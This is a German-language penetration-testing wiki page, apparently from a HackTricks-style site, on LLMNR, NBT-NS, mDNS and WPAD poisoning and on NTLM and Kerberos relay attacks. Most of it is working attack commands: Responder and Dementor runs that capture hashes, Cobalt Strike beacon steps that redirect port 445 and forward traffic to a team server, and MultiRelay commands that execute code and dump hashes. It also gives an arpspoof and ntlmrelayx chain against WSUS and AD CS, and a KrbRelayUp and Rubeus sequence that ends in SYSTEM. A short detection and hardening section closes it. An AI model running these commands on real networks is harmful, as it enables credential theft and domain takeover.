Spoofing LLMNR, NBT-NS, mDNS/DNS and WPAD and Relay Attacks

Reading time: 15 minutes

Netzwerkprotokolle

Lokale Host-Auflösungsprotokolle

• LLMNR, NBT-NS, und mDNS:
• Microsoft und andere Betriebssysteme verwenden LLMNR und NBT-NS zur lokalen Namensauflösung, wenn DNS versagt. Ebenso verwenden Apple- und Linux-Systeme mDNS.
• Diese Protokolle sind aufgrund ihrer unauthentifizierten, broadcastartigen Natur über UDP anfällig für Abfangen und Spoofing.
• Responder und Dementor können verwendet werden, um Dienste zu impersonifizieren, indem sie gefälschte Antworten an Hosts senden, die diese Protokolle abfragen.
• Weitere Informationen zur Service-Impersonation mit Responder finden sich here.

Web Proxy Auto-Discovery Protocol (WPAD)

• WPAD ermöglicht es Browsern, Proxy-Einstellungen automatisch zu erkennen.
• Die Erkennung erfolgt über DHCP, DNS oder als Fallback über LLMNR und NBT-NS, falls DNS fehlschlägt.
• Responder kann WPAD-Angriffe automatisieren und Clients zu bösartigen WPAD-Servern umleiten.

Responder/Dementor für Protocol Poisoning

• Responder ist ein Tool zum Vergiften von LLMNR-, NBT-NS- und mDNS-Anfragen, das selektiv basierend auf Abfragetypen antwortet und hauptsächlich SMB-Dienste ins Visier nimmt.

• Es ist in Kali Linux vorinstalliert und konfigurierbar unter /etc/responder/Responder.conf.

• Responder zeigt erfasste Hashes auf dem Bildschirm an und speichert sie im Verzeichnis /usr/share/responder/logs.

• Es unterstützt sowohl IPv4 als auch IPv6.

• Eine Windows-Version von Responder ist verfügbar here.

• Dementor erweitert die Themen Multicast-Poisoning und agiert zusätzlich als bösartiger Dienstanbieter (inklusive CUPS RCE-Unterstützung).

• Die Gesamtstruktur ähnelt Responder, bietet jedoch eine granularere Konfiguration. (Standard hier: Dementor.toml)

• Kompatibilität zwischen Dementor und Responder siehe: Compatibility Matrix

• Einführung und Dokumentation hier: Dementor - Docs

• Behebt Capture-Probleme, die Responder bei bestimmten Protokollen verursacht

Responder ausführen

• Um Responder mit Standardeinstellungen zu starten: responder -I <Interface>
• Für aggressiveres Probing (mit möglichen Nebenwirkungen): responder -I <Interface> -P -r -v
• Techniken, um NTLMv1 Challenges/Responses zu erfassen und das Cracking zu erleichtern: responder -I <Interface> --lm --disable-ess
• WPAD-Impersonation kann aktiviert werden mit: responder -I <Interface> --wpad
• NetBIOS-Anfragen können auf die IP des Angreifers aufgelöst und ein Authentifizierungs-Proxy eingerichtet werden: responder.py -I <interface> -Pv

Dementor ausführen

• Mit Standardeinstellungen: Dementor -I <interface>
• Mit Standardeinstellungen im Analysemodus: Dementor -I <interface> -A
• Automatische NTLM-Session-Downgrade (ESS): Dementor -I <interface> -O NTLM.ExtendedSessionSecurity=Off
• Aktuelle Session mit benutzerdefinierter Konfiguration ausführen: Dementor -I <interface> --config <file.toml>

DHCP-Poisoning mit Responder

• Das Fälschen von DHCP-Antworten kann die Routing-Informationen eines Opfers dauerhaft vergiften und bietet eine unauffälligere Alternative zu ARP-Poisoning.
• Es erfordert präzises Wissen über die Konfiguration des Zielnetzes.
• Angriff ausführen: ./Responder.py -I eth0 -Pdv
• Diese Methode kann effektiv NTLMv1/2-Hashes erfassen, erfordert jedoch sorgfältige Handhabung, um Netzstörungen zu vermeiden.

Credentials erfassen mit Responder/Dementor

• Responder/Dementor wird Dienste über die oben genannten Protokolle impersonifizieren und Anmeldeinformationen (meist NTLMv2 Challenge/Response) erfassen, wenn ein Benutzer versucht, sich gegen die gefälschten Dienste zu authentifizieren.
• Es können Versuche unternommen werden, auf NetNTLMv1 herunterzustufen oder ESS zu deaktivieren, um das Cracken der Anmeldeinformationen zu erleichtern.

Es ist entscheidend zu beachten, dass der Einsatz dieser Techniken legal und ethisch erfolgen muss, mit entsprechender Autorisierung und ohne Störung oder unbefugten Zugriff.

Inveigh

Inveigh ist ein Tool für penetration testers und red teamer, entwickelt für Windows-Systeme. Es bietet ähnliche Funktionen wie Responder und führt Spoofing- und Man-in-the-Middle-Angriffe durch. Das Tool hat sich von einem PowerShell-Skript zu einem C#-Binary entwickelt, mit Inveigh und InveighZero als den Hauptversionen. Detaillierte Parameter und Anweisungen finden sich im wiki.

Inveigh kann über PowerShell betrieben werden:

Invoke-Inveigh -NBNS Y -ConsoleOutput Y -FileOutput Y

Oder ausgeführt als C# binary:

Inveigh.exe

NTLM Relay Attack

Dieser Angriff nutzt SMB-Authentifizierungssitzungen, um auf eine Zielmaschine zuzugreifen und im Erfolgsfall eine System-Shell zu erhalten. Wichtige Voraussetzungen sind:

• Der authentifizierende Benutzer muss auf dem weitergeleiteten Host Local Admin-Zugriff haben.
• SMB signing sollte deaktiviert sein.

445 Port-Forwarding und Tunneling

In Szenarien, in denen eine direkte Netzwerkintegration nicht möglich ist, muss der Verkehr auf Port 445 weitergeleitet und getunnelt werden. Tools wie PortBender helfen dabei, den Port-445-Verkehr auf einen anderen Port umzuleiten, was essentiell ist, wenn Local Admin-Zugriff zum Laden eines Treibers verfügbar ist.

PortBender-Einrichtung und -Betrieb in Cobalt Strike:

Cobalt Strike -> Script Manager -> Load (Select PortBender.cna)

beacon> cd C:\Windows\system32\drivers # Navigate to drivers directory
beacon> upload C:\PortBender\WinDivert64.sys # Upload driver
beacon> PortBender redirect 445 8445 # Redirect traffic from port 445 to 8445
beacon> rportfwd 8445 127.0.0.1 445 # Route traffic from port 8445 to Team Server
beacon> socks 1080 # Establish a SOCKS proxy on port 1080

# Termination commands
beacon> jobs
beacon> jobkill 0
beacon> rportfwd stop 8445
beacon> socks stop

Weitere Tools für NTLM Relay Attack

• Metasploit: Kann mit proxies sowie lokalen und entfernten Hostdetails eingerichtet werden.
• smbrelayx: Ein Python-Skript zum Weiterleiten von SMB-Sessions und zum Ausführen von Befehlen oder Bereitstellen von Backdoors.
• MultiRelay: Ein Tool aus der Responder-Suite, um bestimmte Benutzer oder alle Benutzer weiterzuleiten, Befehle auszuführen oder Hashes zu dumpen.

Jedes Tool kann bei Bedarf so konfiguriert werden, dass es über einen SOCKS proxy arbeitet, wodurch Angriffe auch bei indirektem Netzwerkzugang möglich sind.

MultiRelay-Betrieb

MultiRelay wird aus dem /usr/share/responder/tools Verzeichnis ausgeführt und zielt auf bestimmte IPs oder Benutzer.

python MultiRelay.py -t <IP target> -u ALL # Relay all users
python MultiRelay.py -t <IP target> -u ALL -c whoami # Execute command
python MultiRelay.py -t <IP target> -u ALL -d # Dump hashes

# Proxychains for routing traffic

These Tools und Techniken bilden eine umfassende Sammlung zur Durchführung von NTLM Relay-Angriffen in verschiedenen Netzwerkumgebungen.

Abusing WSUS HTTP (8530) for NTLM Relay to LDAP/SMB/AD CS (ESC8)

WSUS-Clients authentifizieren sich an ihrem Update-Server mit NTLM über HTTP (8530) oder HTTPS (8531). Wenn HTTP aktiviert ist, können periodische Client-Check-ins im lokalen Segment erzwungen oder abgefangen und mit ntlmrelayx an LDAP/LDAPS/SMB- oder AD CS-HTTP-Endpunkte (ESC8) weitergeleitet werden, ohne Hashes zu knacken. Das fügt sich in den normalen Update-Verkehr ein und führt häufig zu Machine-Account-Authentifizierungen (HOST$).

Worauf man achten sollte

• GPO/Registry-Konfiguration unter HKLM\SOFTWARE\Policies\Microsoft\Windows\WindowsUpdate und ...\WindowsUpdate\AU:
• WUServer (z. B. http://wsus.domain.local:8530)
• WUStatusServer (Reporting-URL)
• UseWUServer (1 = WSUS; 0 = Microsoft Update)
• DetectionFrequencyEnabled und DetectionFrequency (Stunden)
• WSUS SOAP-Endpunkte, die Clients über HTTP nutzen:
• /ClientWebService/client.asmx (approvals)
• /ReportingWebService/reportingwebservice.asmx (status)
• Standardports: 8530/tcp HTTP, 8531/tcp HTTPS

Aufklärung

• Unauthenticated
• Scan nach Listenern: nmap -sSVC -Pn --open -p 8530,8531 -iL
• HTTP-WSUS-Traffic via L2 MITM sniffen und aktive Clients/Endpunkte mit wsusniff.py protokollieren (nur HTTP, sofern du die Clients nicht dazu bringst, deinem TLS-Zertifikat zu vertrauen).
• Authenticated
• SYSVOL-GPOs nach WSUS-Schlüsseln parsen mit MANSPIDER + regpol (wsuspider.sh Wrapper fasst WUServer/WUStatusServer/UseWUServer zusammen).
• Endpoints in großem Maßstab von Hosts (NetExec) oder lokal abfragen: nxc smb -u -p -M reg-query -o PATH="HKLM\SOFTWARE\Policies\Microsoft\Windows\WindowsUpdate" KEY="WUServer" reg query HKLM\Software\Policies\Microsoft\Windows\WindowsUpdate

End-to-end HTTP-Relay-Schritte

1. Positioniere dich für MITM (gleiche L2), sodass ein Client den WSUS-Server auf dich auflöst (ARP/DNS Poisoning, Bettercap, mitm6, etc.). Beispiel mit arpspoof: arpspoof -i -t <wsus_client_ip> <wsus_server_ip>

2. Leite Port 8530 an deinen Relay-Listener weiter (optional, praktisch): iptables -t nat -A PREROUTING -p tcp --dport 8530 -j REDIRECT --to-ports 8530 iptables -t nat -L PREROUTING --line-numbers

3. Starte ntlmrelayx mit dem HTTP-Listener (erfordert Impacket-Support für HTTP-Listener; siehe PRs unten): ntlmrelayx.py -t ldap:// -smb2support -socks --keep-relaying --http-port 8530

Andere häufige Ziele:

• Relay zu SMB (falls signing deaktiviert) für exec/dump: -t smb://
• Relay zu LDAPS für Directory-Änderungen (z. B. RBCD): -t ldaps://
• Relay zu AD CS Web Enrollment (ESC8), um ein Zertifikat zu minten und sich anschließend via Schannel/PKINIT zu authentifizieren: ntlmrelayx.py --http-port 8530 -t http:///certsrv/certfnsh.asp --adcs --no-http-server Für tiefere AD CS-Abuse-Pfade und Tooling siehe die AD CS-Seite:

AD CS Domain Escalation

4. Trigger ein Client-Check-in oder warte auf den geplanten Zeitpunkt. Auf einem Client: wuauclt.exe /detectnow oder nutze die Windows Update UI (Check for updates).

5. Nutze die authentifizierten SOCKS-Sessions (falls -socks) oder direkte Relay-Ergebnisse für Post-Exploitation (LDAP-Änderungen, SMB-Operationen oder AD CS-Zertifikatausstellung für spätere Authentifizierung).

HTTPS-Einschränkung (8531)

• Passives Abfangen von WSUS über HTTPS ist wirkungslos, sofern die Clients deinem Zertifikat nicht vertrauen. Ohne ein vertrauenswürdiges Zertifikat oder eine andere TLS-Bypass-Methode kann der NTLM-Handshake aus WSUS-HTTPS-Traffic nicht geerntet/relayed werden.

Hinweise

• WSUS wurde als deprecated angekündigt, ist aber weiterhin weit verbreitet; HTTP (8530) ist in vielen Umgebungen weiterhin üblich.
• Nützliche Helfer: wsusniff.py (HTTP-WSUS-Check-ins beobachten), wsuspider.sh (WUServer/WUStatusServer aus GPOs enumerieren), NetExec reg-query in großem Maßstab.
• Impacket hat HTTP-Listener-Support für ntlmrelayx in PR #2034 wiederhergestellt (ursprünglich in PR #913 hinzugefügt).

Force NTLM Logins

Unter Windows kannst du möglicherweise einige privilegierte Konten dazu zwingen, sich an beliebigen Maschinen zu authentifizieren. Lies die folgende Seite, um zu erfahren, wie:

Force NTLM Privileged Authentication

Kerberos Relay attack

A Kerberos relay attack stiehlt ein AP-REQ ticket von einem Dienst und verwendet es erneut gegen einen zweiten Dienst, der denselben computer-account key teilt (weil beide SPNs auf demselben $ Machine-Account sitzen). Das funktioniert, obwohl die Serviceklassen der SPNs unterschiedlich sind (z. B. CIFS/ → LDAP/), weil der Schlüssel, der das Ticket entschlüsselt, der NT-Hash der Maschine ist, nicht der SPN-String selbst, und der SPN-String kein Teil der Signatur ist.

Anders als bei NTLM relay ist der Hop auf denselben Host begrenzt, aber wenn du ein Protokoll anvisierst, das dir Schreibrechte in LDAP erlaubt, kannst du in Resource-Based Constrained Delegation (RBCD) oder AD CS enrollment kaskadieren und NT AUTHORITY\SYSTEM in einem einzigen Zug erlangen.

Für detaillierte Informationen zu diesem Angriff siehe:

• https://googleprojectzero.blogspot.com/2021/10/using-kerberos-for-authentication-relay.html

• https://decoder.cloud/2025/04/24/from-ntlm-relay-to-kerberos-relay-everything-you-need-to-know/

• 1. Kerberos-Grundlagen

• Tickets sind mit dem passwort-abgeleiteten Schlüssel des Kontos, dem das SPN gehört, verschlüsselt.
• Der Authenticator im AP-REQ enthält einen 5-Minuten-Timestamp; ein Replay innerhalb dieses Fensters ist gültig, bis der Service-Cache einen Duplikat-Eintrag sieht.
• Windows prüft selten, ob der SPN-String im Ticket mit dem angegriffenen Dienst übereinstimmt, sodass ein Ticket für CIFS/HOST normalerweise auf LDAP/HOST korrekt entschlüsselt wird.

• 2. Was zutreffen muss, um Kerberos zu relayen

1. Shared key: Quell- und Ziel-SPNs gehören zum selben Computer-Account (Standard bei Windows-Servern).
2. Keine Channel-Protection: SMB/LDAP-Signing ausgeschaltet und EPA für HTTP/LDAPS aus.
3. Du kannst Authentifizierung abfangen oder erzwingen: LLMNR/NBNS Poison, DNS-Spoof, PetitPotam / DFSCoerce RPC, gefälschtes AuthIP, rogue DCOM, etc.
4. Ticketquelle noch nicht verwendet: Du musst das Rennen gewinnen, bevor das echte Paket ankommt, oder es vollständig blocken; ansonsten schießt der Server-Replay-Cache Event 4649.
5. Du musst auf irgendeine Weise einen MitM in der Kommunikation durchführen können — z. B. Mitglied der DNSAmins-Gruppe sein, um die DNS-Einträge der Domain zu ändern, oder die HOSTS-Datei des Opfers ändern können.

Kerberos Relay Steps

• 3.1 Recon the host

# find servers where HTTP, LDAP or CIFS share the same machine account
Get-ADComputer -Filter * -Properties servicePrincipalName |
Where-Object {$_.servicePrincipalName -match '(HTTP|LDAP|CIFS)'} |
Select Name,servicePrincipalName

• 3.2 Starte den relay listener

KrbRelayUp

# one-click local SYSTEM via RBCD
.\KrbRelayUp.exe relay --spn "ldap/DC01.lab.local" --method rbcd --clsid 90f18417-f0f1-484e-9d3c-59dceee5dbd8

KrbRelayUp packt KrbRelay → LDAP → RBCD → Rubeus → SCM bypass in eine einzige Binärdatei.

• 3.3 Coerce Kerberos auth

# coerce DC to auth over SMB with DFSCoerce
.\dfscoerce.exe --target \\DC01.lab.local --listener 10.0.0.50

DFSCoerce veranlasst den DC, uns ein Kerberos-CIFS/DC01-Ticket zu senden.

• 3.4 Relay the AP-REQ

KrbRelay extrahiert das GSS-Blob aus SMB, verpackt es in ein LDAP-Bind um und leitet es an ldap://DC01 weiter — die Authentifizierung gelingt, weil derselbe Schlüssel es entschlüsselt.

• 3.5 Abuse LDAP ➜ RBCD ➜ SYSTEM

# (auto inside KrbRelayUp) manual for clarity
New-MachineAccount -Name "FAKE01" -Password "P@ss123"
KrbRelay.exe -spn ldap/DC01 -rbcd FAKE01_SID
Rubeus s4u /user:FAKE01$ /rc4:<hash> /impersonateuser:administrator /msdsspn:HOST/DC01 /ptt
SCMUACBypass.exe

Du besitzt jetzt NT AUTHORITY\SYSTEM.

Weitere wissenswerte Pfade

Fehlerbehebung

Erkennung

• Anstieg von Event 4769 für CIFS/, HTTP/, LDAP/ von derselben Quelle innerhalb weniger Sekunden.
• Event 4649 auf dem Dienst deutet auf erkannten Replay hin.
• Kerberos-Anmeldung von 127.0.0.1 (relay to local SCM) ist sehr verdächtig — mittels Sigma-Regel in KrbRelayUp-Dokumentation aufdecken.
• Beobachte Änderungen an den Attributen msDS-AllowedToActOnBehalfOfOtherIdentity oder msDS-KeyCredentialLink.

Härtung

1. Enforce LDAP & SMB signing + EPA auf jedem Server.
2. Split SPNs so dass HTTP nicht auf demselben Account wie CIFS/LDAP liegt.
3. Coercion-Vektoren patchen (PetitPotam KB5005413, DFS, AuthIP).
4. Setze ms-DS-MachineAccountQuota = 0, um unerlaubte Computer-Joinvorgänge zu verhindern.
5. Alarm bei Event 4649 und unerwarteten Loopback-Kerberos-Anmeldungen.

References

• https://intrinium.com/smb-relay-attack-tutorial/
• https://www.4armed.com/blog/llmnr-nbtns-poisoning-using-responder/
• https://www.notsosecure.com/pwning-with-responder-a-pentesters-guide/
• https://intrinium.com/smb-relay-attack-tutorial/
• https://byt3bl33d3r.github.io/practical-guide-to-ntlm-relaying-in-2017-aka-getting-a-foothold-in-under-5-minutes.html
• WSUS Is SUS: NTLM Relay Attacks in Plain Sight (TrustedSec)
• GoSecure – Abusing WSUS to enable NTLM relaying attacks
• Impacket PR #2034 – Restore HTTP server in ntlmrelayx
• Impacket PR #913 – HTTP relay support
• WSUScripts – wsusniff.py
• WSUScripts – wsuspider.sh
• MS-WSUSOD – Windows Server Update Services: Server-to-Client Protocol
• Microsoft – WSUS deprecation announcement